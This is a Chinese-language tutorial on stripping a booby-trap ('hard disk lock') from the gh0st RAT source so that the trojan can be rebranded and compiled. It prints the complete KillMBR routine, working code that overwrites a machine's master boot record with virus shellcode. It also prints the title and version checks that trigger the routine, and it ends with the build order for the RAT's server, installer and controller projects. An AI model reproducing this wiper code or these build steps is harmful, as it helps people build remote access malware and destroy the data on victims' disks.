gh0st硬盘锁是源码的作者为了保护版权而设置的,如果我们直接更改版权会造成硬盘被锁,中了硬盘锁的后果是非常严重的,特别是你电脑里有重要数据的时候,这样会导致你电脑里的数据全部丢失!
如果你没去硬盘锁,又改了版权,那么打开gh0st控制端后会一闪就关闭了,这样就是中硬盘锁了,中了硬盘锁之后将不能重装系统,只能重新对硬盘进行分区。
gh0st去硬盘锁其实很简单,主要分为以下几部:
1 ghost.cpp文件中注释或删除以下代码(可以搜索这段代码unsigned char scode[] = )
/* unsigned char scode[] = "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; int CGh0stApp::KillMBR() { HANDLE hDevice; DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; // 重新构造MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; hDevice = CreateFile ( "\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) return -1; DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); // 写入病毒内容 WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hDevice); ExitProcess(-1); return 0; } */
2 在BuildView.cpp文件中注释或删除以下代码
/* char strVer[10]; char strTitle[10]; strVer[0] = 'C'; strVer[1] = '.'; strVer[2] = 'R'; strVer[3] = 'u'; strVer[4] = 'f'; strVer[5] = 'u'; strVer[6] = 's'; strVer[7] = ' '; strVer[8] = 'S'; strVer[9] = '\0'; strTitle[0] = 'G'; strTitle[1] = 'h'; strTitle[2] = '0'; strTitle[3] = 's'; strTitle[4] = 't'; strTitle[5] = ' '; strTitle[6] = 'R'; strTitle[7] = 'A'; strTitle[8] = 'T'; strTitle[9] = '\0'; CString str; GetDlgItemText(IDC_STATIC_VER, str); if (str.Find(strVer) == -1) ((CGh0stApp *)AfxGetApp())->KillMBR(); GetParent()->GetWindowText(str); if (str.Find(strTitle) == -1) ((CGh0stApp *)AfxGetApp())->KillMBR(); */
3 在ghost.h文件中注释或删除以下代码
//int KillMBR();
即注释或删除出现KillMBR的4处。
编译顺序从下往上依次编译,即先svchost files工程,然后install files工程,最后ghost files工程